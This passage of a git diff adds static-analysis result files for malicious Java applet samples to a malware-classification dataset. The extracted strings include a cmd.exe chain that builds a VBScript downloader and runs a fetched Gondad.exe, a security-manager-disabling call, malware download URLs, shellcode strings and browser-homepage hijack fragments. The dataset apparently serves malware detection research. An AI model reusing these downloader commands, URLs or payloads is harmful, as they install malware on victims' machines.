"jIKJaIKJvIKJaXZE.IKJaIKJwIKJtIKJ.IKJiXZEmXZEaIKJgIKJeIKJ.XZECIKJoXZElXZEoXZErXZEMXZEoIKJdXZEeXZElIKJ", "jIKJaXZEvXZEaXZE.IKJaXZEwXZEtIKJ.IKJRIKJeIKJnIKJdXZEeXZErXZEiXZEnIKJgXZEHXZEiIKJnXZEtIKJsIKJ", "jIKJaIKJvIKJaXZE.IKJaXZEwXZEtIKJ.XZECIKJoXZEmXZEpXZEoXZEsXZEiXZEtIKJeXZECXZEoIKJnIKJtXZEeIKJxIKJtXZE", "jXZEaIKJvXZEaXZE.IKJaIKJwIKJtIKJ.XZEiXZEmIKJaIKJgIKJeIKJ.IKJWXZErXZEiXZEtIKJaIKJbXZElXZEeIKJRIKJaXZEsXZEtIKJeIKJrXZE", "jIKJaXZEvXZEaXZE.XZElXZEaIKJnXZEgXZE.XZEBIKJoIKJoIKJlIKJeXZEaIKJnXZE", "$XZEdIKJfIKJbIKJdIKJsIKJhIKJ_XZEsIKJaIKJ", "gIKJeIKJtIKJMXZEaIKJsXZEkXZEsIKJ", "cXZErIKJeXZEaIKJtIKJeIKJCIKJoXZEnIKJtIKJeIKJxIKJtIKJ", "SXZErXZEcXZE", "cXZErIKJeXZEaXZEtIKJeIKJWXZErIKJiIKJtIKJaIKJbXZElXZEeXZERXZEaXZEsXZEtXZEeXZErXZE", "sIKJeIKJtXZEEXZElXZEeXZEmXZE", "cIKJoIKJmIKJpXZEoXZEsIKJeIKJ", "FXZEAIKJLXZESXZEEXZE", "TIKJRXZEUIKJEXZE", "gIKJeXZEtXZE", "eIKJxIKJeXZEcXZEuIKJtXZEeIKJ"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d667c71bc9f973dddd1f577dfb517f96676c46f4", "file_name": "java_malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d", "_id": "8ca8b197-bfa3-4fb8-bdce-651ef8685e81", "score": 0, "entropy": 5.893717554578513, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6790, "ssdeep": "96:6WAxRFlPunnwUICUNIxrsXjdnrTe8fAleJ5xd9Xf+Ron4S2gUnk7jggggggggggc:6PxDlmnnlItNIt6N6e7xvviS2xni3q", "sha256": "355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d", "md5": "14d7b6318c2bb6992fe73682c5cd7d6e", "parent_sha256": "355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results b/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results new file mode 100755 index 0000000..107a5d6 --- /dev/null +++ b/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "f171f14b-59b1-4d00-bc08-0f924ce850fa", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "nLtMyTy4VIYU4COTn", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo gond=\"nLtMyTy4VIYU4COT\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\nLtMyTy4.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7d0141fc90447a1b05d626bc2d5b30c8461acb76", "file_name": "java_malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2", "_id": "f171f14b-59b1-4d00-bc08-0f924ce850fa", "score": 0, "entropy": 5.877260917120196, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "96:CzGlpoXB3pDv1Ws/o1Pup306dBnM89bUI:zlGBZDv1Zohud0KBM2", "sha256": "35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2", "md5": "006354757249246b0720b33961be5a47", "parent_sha256": "35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results b/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results new file mode 100755 index 0000000..7be811e --- /dev/null +++ b/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class1.java", "class_name": "Class1", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["decode_str", "", "disableSecurity", "get_cl", "set_f", "class$"], "minor_version": 0, "const_pool_count": 239}}, "_id": "3688f0d5-e734-4635-a99e-9a2699289172", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.7090285395557525, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "807E8D5F827E857D"}, "substring_heuristics": {}}}, "constant strings": ["java.lang.System", "8C7E8D6C7E7C8E8B828D92667A877A807E8B", "7F82857E53484848", "java.beans.Statement", "7A7C7C", "818D8D8947847E7E897A85828F7E", "7F7A858C7E", "818D8D89", " ://feed.stringsort.com/f81Jba/dhuKOZtD6iPAFe", "6D5E6669", "4886888B477E917E", "00116", "00047", "00075", "00100", "java.lang.Class", "7F888B677A867E", "8C8E87477A908D476C8E876D88888584828D", "807E8D5F827E857D"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8f47c969e7736a1efe06dd4bd27415b4d5d1428", "file_name": "java_malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9", "_id": "3688f0d5-e734-4635-a99e-9a2699289172", "score": 0, "entropy": 5.951001369172213, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4386, "ssdeep": "96:WdH0ElRSsxqO3ben/l94CiCPlrgwxnEEq:WdHpl4sxPK9+lCPlrhDq", "sha256": "35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9", "md5": "f6af1892871512bccdd5201dc8cc566a", "parent_sha256": "35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results b/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results new file mode 100755 index 0000000..a899c86 --- /dev/null +++ b/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a811c542-6be6-400e-8ea8-388e17cd4b87", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Iz,0L,PZ,0n,pZ,0L,Pz,0n,pl,PL,PZ,H7,p7,pS,05,PH,k3,0K,Y9,lU,PW,pW,pQ,OE,4M,q6,P7,pU,PE,PQ,hT,LN,k1,Pv,lL,Kb,P5,Ln,ML,KP,h3,8j,Kc,9L,Ks,pv,TL,Mc,pS,LN,ks,Xu,ln,kL,7s,Zd,DS,ik,XL,Og,pU,PE,PK,RH,yC,X2,O0,nW,pw,pC,Xb,UP,rB,L2,Mp,TY,ov,vN,kY,xk,Xq,iU,P7,pG,pN,kH,WB,gm,PW,Ou,P4,5K,Js,wv,7a,WM,Pg,Ou,P1,ek,Jl,Kh,o3,op,3X,IM,QZ,LD,DU,Qs,0G,pN,ky,Lb,qr,rr,sR,Hu,TU,Qg,p3,0K,O3,fv,lQ,JC,iB,qf,2L,Ks,22,s2,cM,Pu,kE,PR,UK,Jn,a3,Ki,lV,N1,ur,XP,ea,eT,Cm,Sz,Kv,hM,Y4,CX,Gp,Cc,4t,n2,E4,8U,5k,vS,ss,8W,p3,kL,JK,qs,4T,pL,HS,ug,pp,3K,pb,pP,PF,32,wp,Pi,op,V6,pn,cL,8S,0s,Ef,fc,Z5,Q3,cy,op,V3,4P,Z0,YO,sk,rS,4Q,QO,pv,Zs,0R,Un,T9,o2,vw,x0,Qv,6l,Kp,uW,LL,KP,tV,Nr,Xd,Ci,e6,6N,k4,6w,Pc,3L,56,SI,Ys,yC,qn,MV,cK,uw,Ck,kf,om,nr,0T,zz,vp,tW,xK,qj,kD,MW,sX,ZS,px,kJ,Qe,kW,or,UM,7q,Nl,K3,nQ,4e,SY,Mp,fN,kT,Lb,kn,k3,nU,Le,Si,ML,Ku,TN,kw,sO,5N,K1,N3,ih,Ck,XK,OK,Nk,Ok,OL,N0,NT,Nx,lm,HY,nM,Zd,N1,nK,h8,bp,s0,3y,Zm,Za,KD,vt,Z4,op,pP,oq,QV,3p,V5,Pq,xS,DQ,dB,Pt,z4,of,Or,Mr,O0,tP,oe,9B,Nd,4Q,up,r2,Nu,5T,41,sc,Qq,v5,5T,nQ,sP,op,m4,oq,sp,oR,NS,DR,ER,N0,t6,OP,aa,jC,Qv,NP,hT,4r,Mb,Lt,ob,NV,PT,pu,hT,qt,pF,V4,rt,pf,Qt,sp,1w,Ha,b4,pv,TT,pp,9s,zf,Q6,PV,P6,Pt,pt,vv,PU,as,gF,Sw,EV,Qu,dp,6v,Rc,Uf,Wc,hu,3d,pe,i3,S3,Ss,Qe,hp,3P,Yw,HR,BU,cv,PP,7s,SU,2v,TQ,JV,Pp,1V,Pt,pU,6T,pt,wv,Pu,PE,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7a03739a63e973cc5eed66a368a6b666e273ce96", "file_name": "java_malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48", "_id": "a811c542-6be6-400e-8ea8-388e17cd4b87", "score": 0, "entropy": 5.984950646073437, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3120, "ssdeep": "48:4vVk0yFlkYzWIvAxdfKfxkJ+Alafi5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlnPvqCfxknlOORxC92XQjt9bKsCn", "sha256": "375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48", "md5": "ffb4fd12c453e6303af0b25ab5390c51", "parent_sha256": "375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48"}} \ No newline at end of file diff --git a/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results b/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results new file mode 100755 index 0000000..ec8d950 --- /dev/null +++ b/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/rrgtykqgimbujpx", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "sectoff", "gclass", "sfld", "batois_rmethod", "spl", "getos_rmethod", "gobj", "xdel", "xxx", "invtwo_rmethod", "invone_rmethod", "invgotwo_rmethod", "geturl_rmethod", "addperm_rmethod", "getperminst_rmethod", "newperm_rmethod", "gcl_rmethod", "xvel", "lr_rmethod", "findmethod_rmethod", "getperm_rmethod", "getcert_rmethod", "pdom_rmethod", "invgo_rmethod", "invbytestring_rmethod", "getsrc_rmethod"], "minor_version": 0, "const_pool_count": 317}}, "_id": "755a4a23-2808-4b69-82a1-634e5b61e77a", "verbose": {"java": {"constant strings": ["\\\\", ";"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b68f46048abfba65e4540c97a309f9e002957d61", "file_name": "java_malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284", "_id": "755a4a23-2808-4b69-82a1-634e5b61e77a", "score": 0, "entropy": 5.6581749105501835, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5779, "ssdeep": "96:YBRBNfsaQ6EDZyc2sjgW/AQsm0wY5A/bz5TGA2HNVU18uq6H41v:YBRnUaY4c2s0WoQb0EQ6Yv", "sha256": "37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284", "md5": "64df90e3e124e586fd83c0b1dfaeaa1a", "parent_sha256": "37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results b/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results new file mode 100755 index 0000000..03e4783 --- /dev/null +++ b/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JULCdqgO.java", "class_name": "JULCdqgO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "f56e3eed-f1b9-4243-a95a-0db5567003fe", "verbose": {"java": {"constant strings": ["dHtgWPa", "#m841"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "698c415133b70dcc7e9f50053a175ef8567fa931", "file_name": "java_malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553", "_id": "f56e3eed-f1b9-4243-a95a-0db5567003fe", "score": 0, "entropy": 5.545582799121123, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 837, "ssdeep": "12:PEbi3SDQul2CsbWMLIdOLnlkWnQ8PGMZMBMOZWMBMNIMOBXMse/2o4L1NSBR6lA2:P3yQul2xjRlPnhPG7pAp4L1j6Hmlsqx", "sha256": "3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553", "md5": "cc03e38c49637da7a6f3576c4ecd4a3e", "parent_sha256": "3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results b/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results new file mode 100755 index 0000000..25a01fd --- /dev/null +++ b/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "756471f6-be48-4d81-a73e-9c525150aec5", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.614385283910666}, "constant strings": ["no error", "os.name", "http://toolbarbucks.biz/dl/loaderadv493.exe", "\\\\loadnew.exe", "http://toolbarbucks.biz/dl/cheat.php?adv=adv493"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "777dc5369f2e3ce399fd6eb3e7439b2f58bc37c1", "file_name": "java_malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5", "_id": "756471f6-be48-4d81-a73e-9c525150aec5", "score": 0, "entropy": 5.885724454211342, "libmagic": "compiled Java class data, version 45.3", "file_size": 2955, "ssdeep": "48:9JrYyss0yFlS/vJ4R5KTwe5tj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhwKTITtcSkjfcGcEk51rX2oh", "sha256": "3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5", "md5": "a1ff22d87a6633c862e13302a60f0c1d", "parent_sha256": "3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results b/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results new file mode 100755 index 0000000..024d016 --- /dev/null +++ b/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "0a10cda9-1367-4a88-bb77-5ddef391d630", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pL,Pn,pN,pZ,0L,PZ,0L,Py,yY,k7,pW,pe,Pa,O3,TL,at,pC,0w,pS,0L,K1,Pf,lL,Kp,p7,ln,MN,ke,8e,pO,pQ,mT,LV,ST,4G,sL,Vz,KX,sL,Kr,H4,Hl,KK,Gr,Jw,tR,yM,8N,ou,Pw,pw,pM,2h,ys,Xp,o0,nw,pw,p2,HQ,ed,20,l2,Mp,Ty,od,VL,Kk,Xy,xr,Y5,Pw,pS,0N,k8,WQ,Wo,p7,OW,pb,Uz,ZG,7a,G3,wM,Pu,oU,PQ,eI,jN,kz,O1,Od,sk,ym,QZ,L5,TW,qW,pw,pN,kK,lR,qV,2p,Ss,Xv,dW,qg,pW,pK,OV,6t,Lb,zf,9p,Q2,rn,kU,Rr,sG,3m,P7,KS,0q,ex,zN,aS,K9,lf,NQ,uc,Hb,ET,5s,3L,CZ,Kv,hm,Y5,SH,Gs,s4,Dv,N2,Er,Xb,EY,VP,CG,x5,P1,KM,Zo,1E,Tp,0m,Xa,Ug,pv,Sk,pr,pP,PQ,C3,gr,pk,OR,vf,pL,Cx,xG,pQ,eW,v1,zU,Q3,cK,OQ,Ft,Dq,JP,YM,Sy,RW,ta,QM,P5,jU,P2,Un,TK,OS,fw,x0,Qp,VN,k1,ew,Ll,K2,Tp,5p,xw,sK,Er,vL,Kp,ve,pu,Si,eF,Sy,YP,IC,qN,MC,3K,ud,s9,Kt,Om,nb,0p,8K,Br,Ts,8o,1J,kT,Mu,SX,ZW,0z,KL,1w,Ku,O1,ek,Wc,nL,K1,NT,dF,ck,mp,fN,kT,LR,kl,KC,ne,Ls,3K,mN,kg,tL,Kf,c9,UL,kS,n3,ii,SK,Xe,PK,Ok,Oy,oN,nP,Nt,NX,lN,xK,Nm,Z4,Nc,Nn,8k,RR,Sp,3x,Jm,Z3,kt,vU,Jt,op,pe,3P,vr,LP,QU,Pa,xP,tt,4R,Pe,jV,Ot,or,Et,8q,db,E2,Rp,nQ,qp,lT,nC,YP,gr,Np,ob,R1,u0,lp,iP,s2,Td,nU,3b,Op,mv,Ou,9r,N5,6p,ot,oT,5P,sV,Q6,NC,XD,40,mp,lD,o0,nf,PD,pf,R6,Qf,P4,rP,3V,PD,tV,XV,P6,WB,Rt,p6,TT,pU,iQ,Zp,16,Qv,P6,PV,P6,Vt,pv,Q1,Bd,up,9P,aU,hT,qQ,rp,de,4S,gp,es,Sg,Et,vV,Yp,fW,BP,7f,8p,cT,wp,1e,fg,Fw,Gt,uQ,qp,YT,xS,SQ,su,25,hp,9a,vg,HR,zf,PT,s6,PF,Pt,sS,VE,c4,vW,pU,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0f3fdcccf08f11ca8c7b556670211fb47f2c64de", "file_name": "java_malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b", "_id": "0a10cda9-1367-4a88-bb77-5ddef391d630", "score": 0, "entropy": 6.107573500628024, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3222, "ssdeep": "96:HFlpG0nJiyo2bALTDE2iTULNkez1zNjWZ:llpdJQQ5ApnJNiZ", "sha256": "3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b", "md5": "89f574481e7f416e38738bc37d4d955a", "parent_sha256": "3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results b/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results new file mode 100755 index 0000000..d30a2e8 --- /dev/null +++ b/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/h", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "a", "a", "b", "c"], "minor_version": 0, "const_pool_count": 329}}, "_id": "154ce12c-29e4-4edb-8713-cec049873fcc", "verbose": {"java": {"constant strings": ["\\r\\n", " ", " Pre", " add \"hkc", "\"", "\");", "1NGe2DDGXtDAx", "1rwE2aruQVm5vaGeymV", "1vYKLAnrGuXZIkDoa8j", "32\\\\", "3ppcNb", "3qD2hgCLQMsdl", "5axYQa5kfKl", "913xp", ":\\\\", "APP", "APPD", "ATA", "C", "DATA", "E3whL2hlKIf", "E56znqo1yf7ZLN9bWIl", "FawAvoN", "GlXceFIo5Vnv", "Hom", "L=", "Lj3x6s1ednih2UKLhwe", "MjuHuA5eWhNwKE6G", "O7eqNB", "OPBQGAsbytBeX3Pz", "OvgWCRSsXTU", "Q0qxVaMBK4", "RLNk48KtqhLm", "Star", "Sy", "UzsPFRsUIAm", "Windows\\\\", "WxosA", "ZEmMvU0rfZMfSP", "ZYaK4", "[User", "\\\\M", "\\\\Mo", "\\\\Op", "\\\\prefs.j", "_SZ /f /d \"", "_pre", "age", "age_over", "artup.p", "bBmlxGG", "bSkh7I89Qo3L797gg", "br", "bro", "cfkuesytiACST", "clFEomfGl8MLRs", "dc1GsZiMNqSSiGyU8", "dri", "e UR", "e_over", "eabeUY", "epage\", \"", "era\\\\O", "etc\\\\", "f(\"bro", "f(\"star", "files", "files\\\\", "fox\\\\Pro", "fs]", "ge\", 1);", "hos", "hrOXzQjBao3OG", "icT9IsiZHYuc", "ipNktQYrlZbZGKVB", "irefo", "jywedFSVf4feQjIcP9a", "lla\\\\F", "lla\\\\Fire", "mepag", "nA55mR1bWryvOXWBSt", "ni", "omep", "owser.st", "ozi", "pPj6H6f7h22ri", "pSZGaLSb4l8BOp2hRma", "page", "pera\\\\o", "peraprefs.i", "qb82nQcxrZ", "reg", "ride_u", "ride_url\", \"", "rl", "rosoft\\\\In", "rw", "s", "star", "stem", "t Page\" /t REG", "tartup.hom", "tartup.home", "tartup.pa", "ternet E", "ts", "tup Type=", "tup Type=2", "tup.h", "tup.ho", "tware\\\\Mic", "u\\\\Sof", "user", "vers\\\\", "wser.s", "x\\\\Pro", "xaqOGohVLOXEM0p", "xdhrm", "xplorer\\\\Main\" /v \"Star", "zi"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "143c1c2c1651d149c752d9be7d9d7394e9adbca5", "file_name": "java_malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20", "_id": "154ce12c-29e4-4edb-8713-cec049873fcc", "score": 0, "entropy": 5.876447668675662, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5194, "ssdeep": "96:myW56uPN9+jVlAOuvj06FTSAu71JHxEVYJo3YMNDWlxu:E5llaGr06LC1JHMYNpW", "sha256": "39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20", "md5": "2e13319a2f3c44f09ad8a10fa34622ca", "parent_sha256": "39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20"}} \ No newline at end of file diff --git a/java_classification/data/malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1.results b/java_classification/data/malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1.results new file mode 100755 index 0000000..9e01cc6 --- /dev/null +++ b/java_classification/data/malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "vindr", "Jshe", ""], "minor_version": 0, "const_pool_count": 201}}, "_id": "6a4ba74e-a50e-444a-9481-dece5f46b88c", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["param", "java.version", "_", "1.7.0_", "1.6.0_", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "617bfdb1909e5d75bf2f2ba6c34fa84d7cf90fb1", "file_name": "java_malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1", "_id": "6a4ba74e-a50e-444a-9481-dece5f46b88c", "score": 0, "entropy": 5.902325988776757, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3228, "ssdeep": "48:go5k1udT3CecXbETXyK6mAWdUiLi8rxrrPy/V97fQjVCDrbJ0qBTJXtuyUnUwPl:gYk1uFWXAOKuWdaEryV9DQjm0qBTLOd", "sha256": "396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1", "md5": "9e2e1c67f56dc9d7e535e207079fafe0", "parent_sha256": "396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e.results b/java_classification/data/malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e.results new file mode 100755 index 0000000..9dd64a3 --- /dev/null +++ b/java_classification/data/malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/iwhqepgogdboe", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "anolulqil", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "49336b02-56bc-42a7-bf60-01801b59e00b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d921f90c70d0ad90b5097ffca3108112f104904a", "file_name": "java_malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e", "_id": "49336b02-56bc-42a7-bf60-01801b59e00b", "score": 0, "entropy": 5.220480864782982, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7009, "ssdeep": "96:KMHf7LOXqwIekSYFxvrF4ZO+o8pd2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T/7LOae7OVT+pdxhi/To55UTYwa5hGX1", "sha256": 